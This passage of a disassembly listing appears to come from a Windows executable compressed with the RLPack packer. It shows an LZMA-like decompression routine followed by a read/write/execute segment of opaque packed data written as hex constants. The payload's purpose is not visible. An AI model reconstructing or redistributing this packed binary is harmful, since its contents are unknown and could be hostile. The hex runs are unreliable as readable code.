[ebp+var_34], eax mov [ebp+var_30], edi mov [ebp+arg_10], 5 loc_42BF0C: ; CODE XREF: sub_42BE82+AFj cmp [ebp+var_34], edi jnz short loc_42BF18 mov [ebp+var_24], edx or al, 0FFh jmp short loc_42BF20 ; --------------------------------------------------------------------------- loc_42BF18: ; CODE XREF: sub_42BE82+8Dj mov eax, [ebp+var_34] mov al, [eax] inc [ebp+var_34] loc_42BF20: ; CODE XREF: sub_42BE82+94j mov ecx, [ebp+var_28] movzx eax, al shl ecx, 8 or ecx, eax dec [ebp+arg_10] mov [ebp+var_28], ecx jnz short loc_42BF0C mov eax, [ebp+arg_24] and dword ptr [eax], 0 cmp [ebp+arg_20], 0 jbe loc_42C1E8 loc_42BF43: ; CODE XREF: sub_42BE82+360j mov edi, [ebp+var_1C] lea eax, [ebp+var_34] and edi, [ebp+arg_C] push eax mov eax, [ebp+var_4] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_42BC51 pop ecx test eax, eax pop ecx jnz loc_42BFF8 mov edx, [ebp+var_20] mov cl, 8 sub cl, byte ptr [ebp+arg_8] and edx, [ebp+arg_C] movzx eax, bl shr eax, cl mov ecx, [ebp+arg_8] shl edx, cl add eax, edx lea eax, [eax+eax*2] shl eax, 9 cmp [ebp+var_4], 4 lea edi, [eax+esi+0E6Ch] jge short loc_42BF98 and [ebp+var_4], 0 jmp short loc_42BFA8 ; --------------------------------------------------------------------------- loc_42BF98: ; CODE XREF: sub_42BE82+10Ej cmp [ebp+var_4], 0Ah jge short loc_42BFA4 sub [ebp+var_4], 3 jmp short loc_42BFA8 ; --------------------------------------------------------------------------- loc_42BFA4: ; CODE XREF: sub_42BE82+11Aj sub [ebp+var_4], 6 loc_42BFA8: ; CODE XREF: sub_42BE82+114j ; sub_42BE82+120j cmp [ebp+var_14], 0 jz short loc_42BFD5 mov eax, [ebp+arg_C] mov ecx, [ebp+arg_1C] sub eax, [ebp+var_8] mov al, [eax+ecx] mov byte ptr [ebp+arg_10], al lea eax, [ebp+var_34] push [ebp+arg_10] push eax push edi call sub_42BD88 add esp, 0Ch and [ebp+var_14], 0 mov bl, al jmp short loc_42BFF3 ; --------------------------------------------------------------------------- loc_42BFD5: ; CODE XREF: sub_42BE82+12Aj push 1 pop ebx loc_42BFD8: ; CODE XREF: sub_42BE82+16Fj add ebx, ebx lea eax, [ebp+var_34] push eax lea eax, [ebx+edi] push eax call sub_42BC51 or ebx, eax pop ecx cmp ebx, 100h pop ecx jl short loc_42BFD8 loc_42BFF3: ; CODE XREF: sub_42BE82+151j mov eax, [ebp+arg_1C] jmp short loc_42C06B ; --------------------------------------------------------------------------- loc_42BFF8: ; CODE XREF: sub_42BE82+E0j mov ebx, [ebp+var_4] lea eax, [ebp+var_34] push eax mov [ebp+var_14], 1 lea eax, [esi+ebx*2+180h] push eax call sub_42BC51 pop ecx cmp eax, 1 pop ecx jnz loc_42C0F1 lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+198h] push eax call sub_42BC51 pop ecx test eax, eax pop ecx lea eax, [ebp+var_34] push eax jnz short loc_42C079 lea eax, [ebx+0Fh] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_42BC51 pop ecx test eax, eax pop ecx jnz short loc_42C0C5 cmp ebx, 7 mov ecx, [ebp+arg_C] setnl al dec eax and al, 0FEh add eax, 0Bh sub ecx, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+arg_1C] mov bl, [ecx+eax] loc_42C06B: ; CODE XREF: sub_42BE82+174j mov ecx, [ebp+arg_C] inc [ebp+arg_C] mov [ecx+eax], bl jmp loc_42C1DC ; --------------------------------------------------------------------------- loc_42C079: ; CODE XREF: sub_42BE82+1B5j lea eax, [esi+ebx*2+1B0h] push eax call sub_42BC51 pop ecx test eax, eax pop ecx jnz short loc_42C091 mov eax, [ebp+var_10] jmp short loc_42C0BC ; --------------------------------------------------------------------------- loc_42C091: ; CODE XREF: sub_42BE82+208j lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+1C8h] push eax call sub_42BC51 pop ecx test eax, eax pop ecx jnz short loc_42C0AD mov eax, [ebp+var_C] jmp short loc_42C0B6 ; --------------------------------------------------------------------------- loc_42C0AD: ; CODE XREF: sub_42BE82+224j mov ecx, [ebp+var_C] mov eax, [ebp+var_18] mov [ebp+var_18], ecx loc_42C0B6: ; CODE XREF: sub_42BE82+229j mov ecx, [ebp+var_10] mov [ebp+var_C], ecx loc_42C0BC: ; CODE XREF: sub_42BE82+20Dj mov ecx, [ebp+var_8] mov [ebp+var_8], eax mov [ebp+var_10], ecx loc_42C0C5: ; CODE XREF: sub_42BE82+1CCj lea eax, [ebp+var_34] push edi push eax lea eax, [esi+0A68h] push eax call sub_42BE0D mov edi, eax add esp, 0Ch xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Bh mov [ebp+var_4], eax jmp loc_42C1B5 ; --------------------------------------------------------------------------- loc_42C0F1: ; CODE XREF: sub_42BE82+196j mov eax, [ebp+var_C] push edi mov [ebp+var_18], eax mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_8] mov [ebp+var_10], eax xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Ah mov [ebp+var_4], eax lea eax, [ebp+var_34] push eax lea eax, [esi+664h] push eax call sub_42BE0D mov edi, eax add esp, 0Ch cmp edi, 4 jge short loc_42C131 jmp short loc_42C134 ; --------------------------------------------------------------------------- loc_42C131: ; CODE XREF: sub_42BE82+2ABj push 3 pop eax loc_42C134: ; CODE XREF: sub_42BE82+2ADj shl eax, 7 lea ecx, [ebp+var_34] push ecx lea eax, [eax+esi+360h] push 6 push eax call sub_42BD16 add esp, 0Ch cmp eax, 4 jl short loc_42C1AC mov ecx, eax mov ebx, eax sar ecx, 1 and ebx, 1 dec ecx or ebx, 2 shl ebx, cl cmp eax, 0Eh jge short loc_42C183 lea edx, [ebp+var_34] push edx push ecx mov ecx, ebx sub ecx, eax lea eax, [esi+ecx*2+55Eh] push eax call sub_42BD4D add esp, 0Ch loc_42C17F: ; CODE XREF: sub_42BE82+328j add ebx, eax jmp short loc_42C1B1 ; --------------------------------------------------------------------------- loc_42C183: ; CODE XREF: sub_42BE82+2E2j add ecx, 0FFFFFFFCh lea eax, [ebp+var_34] push ecx push eax call sub_42BBEF shl eax, 4 add ebx, eax lea eax, [ebp+var_34] push eax lea eax, [esi+644h] push 4 push eax call sub_42BD4D add esp, 14h jmp short loc_42C17F ; --------------------------------------------------------------------------- loc_42C1AC: ; CODE XREF: sub_42BE82+2CEj mov [ebp+var_8], eax mov ebx, eax loc_42C1B1: ; CODE XREF: sub_42BE82+2FFj inc ebx mov [ebp+var_8], ebx loc_42C1B5: ; CODE XREF: sub_42BE82+26Aj cmp [ebp+var_8], 0 jz short loc_42C1E8 inc edi inc edi loc_42C1BD: ; CODE XREF: sub_42BE82+358j mov ecx, [ebp+arg_C] mov eax, [ebp+arg_1C] mov edx, ecx sub edx, [ebp+var_8] mov bl, [edx+eax] mov [ecx+eax], bl inc ecx dec edi mov [ebp+arg_C], ecx test edi, edi jle short loc_42C1DC cmp ecx, [ebp+arg_20] jb short loc_42C1BD loc_42C1DC: ; CODE XREF: sub_42BE82+1F2j ; sub_42BE82+353j mov eax, [ebp+arg_C] cmp eax, [ebp+arg_20] jb loc_42BF43 loc_42C1E8: ; CODE XREF: sub_42BE82+BBj ; sub_42BE82+337j mov ecx, [ebp+arg_24] mov eax, [ebp+arg_C] pop edi pop esi mov [ecx], eax xor eax, eax pop ebx leave retn sub_42BE82 endp ; --------------------------------------------------------------------------- align 10h dword_42C200 dd 0C4h, 0Dh dup(0) dd 1F000h, 0A060h, 200h, 20000h, 167F1h, 1, 2B42Ch, 400000h dd 10Fh, 173C8h, 3 dup(0) dd 1, 0 dd 1D400h, 3, 1, 200h, 16000h, 1000h, 15FE7h, 0E0000020h dd 1, 200h, 1000h, 17000h, 0E4Ch, 40000040h, 1, 200h, 6000h dd 18000h, 71A8h, 0C0000040h, 74Fh dup(0) _packed ends ; Section 2. (virtual address 0002E000) ; Virtual size : 00013226 ( 78374.) ; Section size in file : 00013226 ( 78374.) ; Offset to raw data for section: 0002E000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _RLPack segment para public 'CODE' use32 assume cs:_RLPack ;org 42E000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing dd 80C1E15Eh, 0A22A0680h, 8E1788D9h, 20503307h, 0C607B0B7h dd 1ED3EB10h, 0FE9400DEh, 51E6CE23h, 1D00D00Ch, 68AA432Ah dd 7089D75Fh, 49270075h, 82FBEE9Ch, 0AEE4519Fh, 9B63EB00h dd 896A2270h, 697A09h, 58381DBh, 0F7CC45A9h, 0B0AB1900h dd 8C5A4CDCh, 0A0780060h, 0EEBF414Dh, 593B124Ah, 40100022h dd 832EFEDDh, 0EA4F6C4h, 0BE82204Bh, 67A7ABE0h, 46006FF3h dd 8058F7BDh, 0EAC347h, 1A9F7B1Ch, 98233310h, 2AB54300h dd 5715481Fh, 58263F5Ch, 0B47FB280h, 39DAA5BAh, 27BB3Fh dd 9CECF24Ah, 0E2503h, 0E1748793h, 130FF0DAh, 0C0005F7Eh dd 48C44BB6h, 7B13136h, 0BF720B03h, 870880CAh, 0B4034111h dd 26078194h, 1F9F988Eh, 742100D6h, 0EFCAE897h, 37002B69h dd 84C65493h, 1467B6Eh, 0AE16D52Ah, 0DC3BDEF7h, 3303F1B0h dd 53FA5C7h, 8CE4B05Ah, 61CF00EDh, 3AF08032h, 0C00713D0h dd 2794EBFh, 1B49A650h, 0D37B00B5h, 3628FCA0h, 8B01688Eh dd 0A57C5B1Fh, 53F86AA4h, 0BE6F0046h, 26D8A239h, 72764982h dd 0E4730100h, 872DF218h, 0F62503BEh, 37639A08h, 6DD3BFB8h dd 0DA0A8007h, 43308C2Fh, 1E519CFDh, 0C061293Bh, 0C6932656h dd 14004F16h, 1C63474Eh, 1C58B164h, 80B323A5h, 4F87FC83h dd 0DA007C1Bh, 0C3339B31h, 7DCFC01Ah, 0E0600ADh, 0AAABDECAh dd 0D4F35B73h, 0BE39813Fh, 863D0146h, 973748FBh, 13BE1D0h dd 2440909Dh, 0F4D57F75h, 1B7C893Ch, 692DAA00h, 62B45A8Fh dd 32830049h, 0CC486B4Fh, 0AA488198h, 686F0079h, 501CFDDh dd 0C09600FBh, 87C302DEh, 6A000C53h, 4795183Fh, 2FBE78h dd 0FC5176B0h, 711F2509h, 0D9D68005h, 0EC035605h, 809D128Ch dd 86A06Ah, 0DEAA3FE5h, 0B8A364EBh, 0F781C600h, 18C409E8h dd 2BB41F0Ch, 8ED340A0h, 507A4D34h, 8BF09C0Eh, 6030EFD9h dd 1D8AB1AAh, 800500ECh, 6AF58292h, 90066E9h, 0BB8E6F64h dd 777FF88Dh, 0CC5100A9h, 170FC435h, 0BA3B9B65h, 80D8B849h dd 0A552D381h, 83E009h, 0B173026Fh, 0F6D75D8Eh, 255A6B03h dd 89ADA404h, 0E2E8CA21h, 0F7B01CEAh, 0F4428305h, 1B8632Ah dd 2900180Ah, 4921AEAAh, 3F624D0Eh, 0E4806B11h, 792A60C2h dd 4C004768h, 0AD7EC6ECh, 764FA077h, 1CF600FEh, 5C7C025h dd 0D939BA51h, 10DE8397h, 88AABF16h, 777371Ah, 7B408496h dd 0DF540EAh, 0D9035781h, 0DC105F02h, 9613C89Ah, 9743D46h dd 0D88A268Fh, 0F5EC2360h, 0B030818h, 361A76FAh, 8EC60059h dd 640EE5BCh, 70055F3h, 928D121Eh, 1EB64CA7h, 3102B34h dd 1697D25Ah, 0EB49BD90h, 67E696E6h, 0C98B5C00h, 69F57D91h dd 0D860004Fh, 0CF853632h, 0FB1C1E88h, 1080E506h, 78579F61h dd 0E67DE42Eh, 7071007Fh, 0AFFE8F7Ch, 7B74D041h, 0AE9C8C00h dd 8E6392A4h, 1DB40F52h, 3440E873h, 0DE5E007h, 1FC12800h dd 0CC69351Bh, 0DBEC9Ch, 719D027Fh, 75A46D0h, 9B734800h dd 0CF05D53Eh, 1E237E44h, 0C121E0A1h, 6F4F3F35h, 17AE86Ch dd 2A9671Dh, 325DCFC0h, 0BC30EDh, 0D4684452h, 93FF4872h dd 5A004DFCh, 50D2D042h, 10D490Ch, 72622EFCh, 20F05415h dd 37003025h, 11D679A9h, 93A1CDh, 9AF90CBBh, 0E19C95ABh dd 0AF5C4000h, 244A0882h, 63DE00FDh, 0A00CD574h, 0A477F006h dd 8E3C7500h, 3D70296Ch, 28A006Dh, 0EEB25EB1h, 4C008737h dd 95300B44h, 0C2D356h, 847BA177h, 3CF57934h, 1E544Ch dd 660EF7ABh, 7256D6h, 4505FF01h, 4FECCD6Fh, 26E6200h dd 0A66602Bh, 50A40038h, 9DFFD1BEh, 0B6FE192Dh, 3113DF09h dd 0DCDC80A2h, 0DD055Dh, 1A6F9D51h, 390BCE7Fh, 0C96EA900h dd 0EFF97A1h, 772300F0h, 0C802D02Ah, 0D800DB15h, 0D75BCA3Ah dd 3BDDD5h, 9DCC03EEh, 984C41F3h, 0C02A1B00h, 67445BAh dd 0D3E2FBh, 0FFF87D5h, 4D0BBC9Bh, 90DE9500h, 0EFB1A419h dd 28910366h, 0D43542AAh, 52A6C3DCh, 0C06385E9h, 3200375Fh dd 0B3DC9125h, 0BC4AA1Ch, 5C653968h, 81F4BC00h, 19033C1Eh dd 80ABF0E5h, 0E277E803h, 76DD0099h, 48955A4Bh, 6D791CE3h dd 808EBE00h, 0C1D077A5h, 1F27D86h, 6319CA17h, 0E4156949h dd 0B7002FB1h, 24D5E868h, 0FCFE7Ah, 0C86DE096h, 0F4829F1Dh dd 0BAC3ED00h, 35699DFBh, 9466007Dh, 0E87B36CEh, 0E11DBFA8h dd 3BC3DA58h, 0B083784Ch, 5E954Fh, 2A5C37DFh, 0C136338Fh dd 0E446B707h, 6C71C5Bh, 0FBE990F0h, 6CB30427h, 825EF226h dd 72C09352h, 0EC013E82h, 6DF4E15Fh, 0E8CF5B4Ah, 906C87F3h dd 1E8477D9h, 0C3C68C6Eh, 0B6D8A028h, 10ED9CE0h, 0AF3FD700h dd 0DBF736C4h, 3D991E78h, 0D8490742h, 0D0DC20B5h, 95035E4Eh dd 8C9E0F09h, 0C869C89Dh, 72210092h, 4977F565h, 81014624h dd 0EDB5DCCCh, 89F5A6AAh, 5C1FABCCh, 3200282Ch, 6124FEF6h dd 0B000BEEFh, 3D64ACE1h, 0B3782Dh, 9B38BF18h, 0E64D8891h dd 0EA123Fh, 0D1278719h, 98438474h, 6E0004Ch, 49240BFFh dd 0B7006993h, 884D9CD0h, 9032E507h, 89EE00B4h, 27509BA0h dd 170010C7h, 0C9F2AA66h, 740C24h, 54E7E5C4h, 8A1531CDh dd 71255300h, 6B84B23Fh, 0BB9D003Ch, 42857D77h, 6E0FB3F5h dd 0E0A105ABh, 417B4F7Fh, 37A83BF8h, 63A41089h, 95ADA00h dd 9A17E361h, 0B30FEBA1h, 46B495Ch, 0CD800429h, 77C542DDh dd 0CE960013h, 5720BCBDh, 0EC0010B5h, 5C78FFF8h, 2724D6h dd 12B333A0h, 4A30A565h, 0DCE2E800h, 24E4FEEh, 0FB178E9h dd 0A6A06B19h, 508A5580h, 97001568h, 7DFB3ED3h, 99E0AAh dd 0FCC49414h, 6B5928Ah, 565BCB03h, 0D0137DD2h, 5A3E04h dd 0CC01E680h, 0D1CFA793h, 5B76BA09h, 0DB82008Dh, 3BB1BE1Eh dd 0FD0075F2h, 0FBBEA48h, 5F16247Dh, 56008751h, 88F507E1h dd 7321002Fh, 69D42E94h, 0C300CC16h, 0FAB83F27h, 0EE2B8F53h dd 8C850003h, 1FC21E90h, 600A146h, 0B4686E78h, 7D1EEF3h dd 50AA12A8h, 2BCF90B5h, 5FE68DC8h, 87D03000h, 829AEAD6h dd 4C080091h, 5BF57354h, 2D7D1704h, 90BAC70Fh, 22748018h dd 8E702Eh, 17DB7C7Bh, 31569629h, 533CB900h, 0A7DC7767h dd 59BD000Eh, 195F4F9Dh, 2C00980Ah, 3FEF7D9h, 16B9F1D5h dd 1E69F39Eh, 7CCE4096h, 0C9D6313Fh, 4EF5D903h, 0C8CAA87Eh dd 1FDC141h, 0EE513249h, 0C09B0314h, 0E0073736h, 0C05C2E56h dd 0CA60C957h, 4F20FEh, 52985EFDh, 1CF5B5AFh, 0E815B10Dh dd 40DE566Ch, 1CB283EFh, 40E358C9h, 0BF3BE267h, 0D00C78Bh dd 1971EBD7h, 1C0AB36h, 0B07698D5h, 703E7C0Ah, 75008E14h dd 0E7379F3Bh, 5C8479h, 0BCD2C8CFh, 0BAADC4B1h, 7AB82800h dd 39579718h, 0AA260032h, 7DF30959h, 0EC000E9Fh, 0AD3B6F3Dh dd 2C87FDh, 0CAAFC5D7h, 0D40A3CCDh, 4461E707h, 0BAF36259h dd 0CBB4A8C1h, 4584007Ch, 8AC77A97h, 0CC006C10h, 5AD481D3h dd 0E19F891h, 7E59E7D5h, 0A188FFE0h, 3A0E16DDh, 2E5BC754h dd 10C300BEh, 1C961424h, 84CBBBB0h, 0C0FB0CA5h, 0F04D51F3h dd 0CFB27E2Eh, 39020D00h, 2E475Eh, 0EF4FCB18h, 5853FC74h dd 0BB7431E6h, 0CC448D00h, 0CBF2DACh, 0B34301E4h, 6835F83Bh dd 58F6ECBAh, 62479000h, 23F9F056h, 94DE008Dh, 27A233F1h dd 0AC1EC554h, 6D41133Ah, 0B60A85D8h, 0F4124E4h, 50A57270h dd 0F089C7E0h, 96782BFCh, 0E436D700h, 18FD1323h, 40E80025h dd 74FE8DACh, 76240897h dd 6006960h, 9EEAE24Bh, 85E30302h, 5A759BD6h, 6896A3F0h dd 99527B0Fh, 89D460C4h, 0E88460h, 4B9CB315h, 418BD0F4h dd 1A0A5801h, 37CD3265h, 52B8F4h, 0A26E40CFh, 0AD64B4C0h dd 0C756F200h, 2CEACAA7h, 78150046h, 0BE3C2705h, 0D51D4751h dd 0FA47A4B1h, 16EE065h, 0B5F5EEA9h, 12B3A30h, 0DEBEEDCDh dd 701D786Ah, 0F83CDFCDh, 190F9F3Bh, 0B8FB1D38h, 9CFFA2C0h dd 14CDCEEh, 0C98161D9h, 7075B66Ch, 5305420Eh, 0C88D0208h dd 0B10015C5h, 94B788A1h, 9CE00006h, 0D5CFD7E9h, 0D20792CBh dd 0E1FEB324h, 0DD5A5490h, 0DA8E00CAh, 1B3FA870h, 908ABDh dd 0DC167100h, 4E78C31Fh, 0A5762E96h, 31AC3986h, 7873D55h dd 33D059F6h, 5390D136h, 2400870Fh, 87955AAh, 82D3FEh dd 0DA2EA641h, 0ADBFEBE5h, 36018E00h, 527DB16Fh, 0B5BA00B7h dd 7203DB1Dh, 5A0025F5h, 534E328Dh, 48A951h, 0DC63DDC6h dd 0B88CBCE3h, 0E0004DF8h, 0C3D069BBh, 1C7CFE96h, 0C0C6F59Ch dd 2CE68632h, 9F00B52Eh, 53F08D98h, 0AC05A2h, 0C0E7BA6h dd 0AD184919h, 72FD1F00h, 7D1669Eh, 720E681h, 0FAEB60B8h dd 8E8A074h, 0BB00D0D3h, 0A5FFFBB9h, 8BE389h, 170C1A38h dd 6AD3C464h, 83DAA800h, 6FC9FA6Bh, 0AF6802EEh, 3001A9F8h dd 66841440h, 3F372107h, 61090F1h, 79C73411h, 0A7990013h dd 14E91AEFh, 0AC007BE2h, 72AFE34Fh, 1378236h, 7CC13029h dd 0D8F4DAEDh, 4400F165h, 0B3A160DEh, 3346DBFh, 3714254h dd 0DD8877F6h, 392E5624h, 7F00F7CEh, 0DEBD1ADBh, 9271686h dd 6EF900F8h, 557EA5ACh, 3B233Bh, 93F47C89h, 9325472h dd 2D82CE11h, 50BC5280h, 8000C97Eh, 75C1A0B1h, 1CF0EA3h dd 52F75814h, 20D012F8h, 0C800B264h, 822F6264h, 0DA72D7h dd 0AA31AD3Ah, 0B16CFB7Ch, 23362600h, 92A4F44Dh, 84600CCh dd 52DAE168h, 42E4AEBEh, 66FFA300h, 0F82C69DCh, 0FED00747h dd 20F7620Bh, 0CA35789h, 5A597000h, 5B8E7A14h, 358003Dh dd 1CB3BDDFh, 0BF00DC52h, 0BE8FEE39h, 0AC1D59h, 0A26F7504h dd 835678CEh, 0ED439B00h, 39D13CE6h, 0A89C02CAh, 0E2333BC1h dd 25095CE0h, 7283A200h, 0F7B7FACFh, 2F2A00A6h, 0EC0A7FACh dd 0B10041DAh, 8A238596h, 5C354956h, 7C7D9B55h, 0C46C00FFh dd 0B6C1F1B7h, 0F300A4F9h, 0A670C12h, 4A3EEAh, 4CEB0EF0h dd 0F596BE69h, 0C43E2EE2h, 0CF848092h, 0E0E5A3B3h, 64521C6Dh dd 31D94003h, 436BEF4Ch, 0CE2D6E07h, 6F908068h, 0A1873h dd 55F29771h, 0C36302C5h, 67EE4D14h, 17280297h, 60AC19B9h dd 7C0575h, 311495E9h, 678B477Fh, 17F23Dh, 0C92F851Fh dd 0F4907023h, 337F36h, 4431B20h, 77F889F5h, 40000F75h dd 0C72B3409h, 0CE308Ch, 0E2980E19h, 617C4443h, 107DD800h dd 7E181692h, 251C003Eh, 0B1B32FC6h, 6F00E52Dh, 0A6DC2A37h dd 3EE03Ch, 4596F7A2h, 40BF1586h, 512ED205h, 37C0C26Ah dd 1DB43D27h, 8053F53Fh, 0DD4A3AE8h, 0FD3E440Bh, 2B8507DFh dd 0BA611EA8h, 0B5702E02h, 0C4810004h, 18B7726h, 9F3E8E64h dd 0AE7D87EFh, 87007297h, 0B82E8507h, 6D5A00E7h, 9B319801h dd 91B07E15h, 0F8AAB400h, 0DECF85B2h, 0A5A300ECh, 0B033EA0h dd 6F70EE1Bh, 34927C1Ch, 60902500h, 9D79C4h, 0BCCBC7EBh dd 942AFF70h, 83C5E43Bh, 7F1E0EB9h, 0EC28C08Eh, 0BDF604E8h dd 80554513h, 9E969037h, 641CC707h, 0E51041B4h, 237D063h dd 0C20DF6C3h, 88403E3Ah, 17769F86h, 7D01FAF4h, 0ECD5AAD2h dd 0D8F3CB28h, 0D0B3B4h, 2AED996Eh, 0A7E78831h, 0F9E00700h dd 21FEAA0Fh, 0F29D009Eh, 0F4EF5A19h, 7600E482h, 0B6C3A078h dd 22E1CAh, 9733AFDAh, 16186607h, 65048900h, 961B917Bh dd 0CE3E37DEh, 6EEB107Eh, 1F0B9256h, 800834CFh, 53DBC19Bh dd 4878073Ch, 8074A2CBh, 2859FE80h, 172EF000h, 0E50DFC7h dd 915A48BFh, 6475A300h, 6B4DC9Ah, 0F4A50B00h, 789C2DD7h dd 2B915CF9h, 0F18E7300h, 0CACDA83Fh, 0C3366600h, 7708C718h dd 506C007Dh, 35B3E09Fh, 8E002325h, 0D7ACB216h, 3A731C61h dd 0FB58C4C5h, 0E6FDA801h, 0E89C1936h, 88005A1Fh, 2DA0B2CAh dd 0E403D0h, 20615C96h, 8C451432h, 5D859CC0h, 0AD5066h dd 0B05E1B8Dh, 42364B63h, 92EC2F00h, 53B73C3Ah, 99AD008Fh dd 24CA6D08h, 9C0E5FE7h, 0C701DCE3h, 976046DBh, 4872C06Bh dd 1E07D4E0h, 10EE17EBh, 0E85B70C5h, 35A13Fh, 0BC85089Bh dd 1F688EEDh, 0C0D2E9A0h, 200B4966h, 0FA12D93Ah, 6F098D8Ch dd 0CCB480BFh, 1DC42AE2h, 80D611C3h, 67EA7BA3h, 7D00EEA5h dd 72E9F239h, 0F854B0h, 964977ABh, 0C4A761F9h, 1A2DB900h dd 0F065A52Fh, 0AC7300B0h, 0AD476375h, 4C00CB77h, 8C7A1981h dd 0E25660h, 0BB5AAA53h, 0B0DA9F01h, 3891BBA3h, 8E13E0BCh dd 1D8D3709h, 2E4C805Dh, 90B448DCh, 3107067h, 0EC11ECEh dd 60AF2411h, 0A3BE2C50h, 546E0D00h, 0E09C5A45h, 0ACA900D4h dd 0D0F7A13Fh, 0DB00EFE2h, 0C321F23Ah, 43E8BCh, 0B3ACD6E5h dd 6F7972A1h, 0FD158h, 3ADEA61Eh, 7B45EB4Fh, 80C1F1Ch dd 85FF8047h, 8D60CDA0h, 0B812DD00h, 0FD0A3209h, 0EF6C0F40h dd 8B41BDFEh, 4085EBE7h, 753F5ECAh, 7B1F2717h, 838DC40Eh dd 0EF306A57h, 95E09BB7h, 0A6BEEFh, 0A0C0C361h, 0BC2F5787h dd 5B53AD0Fh, 0DD4983A4h, 915AF875h, 3B8A4CC2h, 78D4D000h dd 0E89C93C4h, 47906000h, 3AEB2FCEh, 1C8D00FBh, 0F7D7DBFFh dd 5E00B51Ah, 0B74E5644h, 4ADE22h, 6FFB018Ch, 0DC6918Ah dd 415E6800h, 0BCBD67B8h, 75720062h, 35E99FE7h, 9600D4C2h dd 7E616407h, 33EB0CDh, 738BB757h, 0D7F09A1Fh, 8A481B1Ch dd 0B1AC074Ch, 0C821F09Dh, 9EE4E869h, 0D70839F5h, 0FF80077h dd 0EC42A2FFh, 0F900D49Ch, 895DAAC0h, 0BA124Bh, 25B49059h dd 0B2834B1h, 0B0445B00h, 0DF8C2F60h, 0F6A000FBh, 716F49CBh dd 680009FCh, 0B2B64DC5h, 5A16EAh, 0B906AEA7h, 0FCB79F18h dd 91328500h, 32D8847h, 0FFB00780h, 0E3AC0C28h, 51B06ED9h dd 0A003C942h, 89400A2Fh, 0EA77E78Eh, 3396DF10h, 6B9A00B6h dd 0A566C3E7h, 703D6353h, 9DF103ECh, 0B7074E24h, 0FF79FA21h dd 8EA8ECh, 0EAB6FD18h, 0E9F79831h, 0D9CD9400h, 0F47257A2h dd 0AD8B0074h, 0BA3476ECh, 0EE0608C1h, 2AF696CCh, 178C00D4h dd 0ABF09404h, 0A00EA44h, 4A45ACE4h, 55F857h, 485F3250h dd 0AD16FA4Bh, 5D22D600h, 21F393E9h, 0BDA006Bh, 7982E5D0h dd 991DE82Fh, 6C839E12h, 90C1B287h, 0B8C2A89Bh, 5BE0036h dd 926EF483h, 6FFEAC0Dh, 43C36C00h, 0A3D5D685h, 930507EAh dd 80AE81E4h, 9A06FF15h, 1DC20A48h, 80FD8E77h, 2A432C40h dd 0B0C8A236h, 0F830068h, 1AD677E4h, 0F4F8742Bh, 165A0D00h dd 93802678h, 796FEBAh, 2F3D89F1h, 6DDC20D0h, 2E0025B7h dd 0F9B53901h, 0A39C90h, 0B9E56193h, 0D4DA9735h, 1A4F3600h dd 6518BB34h, 964C5876h, 3D579600h, 2941FFF6h, 9E8D1600h dd 3E0B0C9Bh, 6A8C3889h, 0B55D0072h, 35B2080Ah, 5300DDB0h dd 387561E9h, 7E218EA9h, 3BEA0E09h, 41E0CF27h, 7688F2D6h dd 0CC4F61FDh, 0E1051262h, 0A01CB80Eh, 0A62CBD80h, 99C40057h dd 0B4C5CEDFh, 0E079A29h, 3F8C09F8h, 5FFB2F60h, 0FA7700B1h dd 6373DF6Bh, 0BCECBA33h, 3B66BB01h, 824F4E03h, 0C03AFC80h dd 72CB04EFh, 7A03CB98h dd 4DB426D0h, 0E5ECA084h, 0C2D800F7h, 0E8DDB305h, 2800649Dh dd 522AA9A8h, 1AA1F1h, 0BE0FA47Eh, 4D1B1E3Ah, 7F80ED00h dd 0ABD2186Bh, 61D900CAh, 585B0E1Fh, 0C2F05A43h, 0C6DC5Ch dd 9151690Ch, 0D36112h, 0A48C59B9h, 7499EA54h, 11D50E00h dd 7294E875h, 43EB03C5h, 0C9D6D4C3h, 63613EE0h, 99017107h dd 0F10DEA0h, 0E0CAC5B7h, 50AA0015h, 8E8C81ECh, 753A0B24h dd 4C190032h, 0DD0A6260h, 3427028h, 92B8C1BEh, 0F888ADD4h dd 5B008519h, 0B8663BCh, 0FED75849h, 0EA6E0166h, 507937A6h dd 152A607h, 0B5B2AE00h, 0B85CA2h, 5A5780B6h, 586495A8h dd 47D4D600h, 97CE903Dh, 0B3DF00FEh, 0B64B502Bh, 0AD0020DBh dd 4CCC18C6h, 878244h, 21144717h, 5F613260h, 94932300h dd 6502459Fh, 359E4A0h, 0F4A387C2h, 80884AB5h, 997B9723h dd 3A1E3900h, 0F30974ABh, 8473007Ch, 6A5B1B4Dh, 7507FCE1h dd 0A8069254h, 0B6D05C10h, 0F62B0003h, 0AA7A8533h, 0A5004C71h dd 7C21D49Ah, 237F4Dh, 2DEAA7EFh, 29DB1F1Eh, 2473CF00h dd 53B84905h, 0ECE21C8Bh, 8C8A0FA6h, 9DFA00DCh, 1A2A6CDBh dd 89522D03h, 0A0E1EE5Eh, 0C36B6h, 0F573D44Ah, 0E55C6CA0h dd 77568800h, 2A19AB64h, 21743E1Eh, 38F1AF0Bh, 7CD62680h dd 3E0FC8DFh, 0E0EC89BEh, 0B70A1986h, 0D20C0024h, 0CF055A9Bh dd 0D6009E1Eh, 46D480E9h, 6E3851h, 5988480Bh, 1FF8A50h dd 0A40F70E0h, 739CF1h, 3BFC572Ah, 0F411E09h, 0F26880B4h dd 6A36B1B3h, 72BBF100h, 35146D4Fh, 0CE3A003Bh, 6E017A7Ch dd 0AD009199h, 60DCD7FFh, 7EFF89Dh, 53DE93A8h, 7E5BE14Bh dd 636E304Ah, 1012D800h, 8062915h, 3FBF0F7Fh, 0E44027D6h dd 0C8D4C6D0h, 78897A00h, 3F8BE19h, 0E7F60079h, 0A42F9948h dd 0A8006EF7h, 0FED4894Ah, 13855F5h, 0D6A5A936h, 60E7E5E6h dd 0C30014A9h, 0D23C547h, 250519h, 0DCCD1236h, 78FDED2Dh dd 0C4633A00h, 44559DBFh, 846F28CFh, 0C39E00E9h, 3B809A73h dd 2F00DF51h, 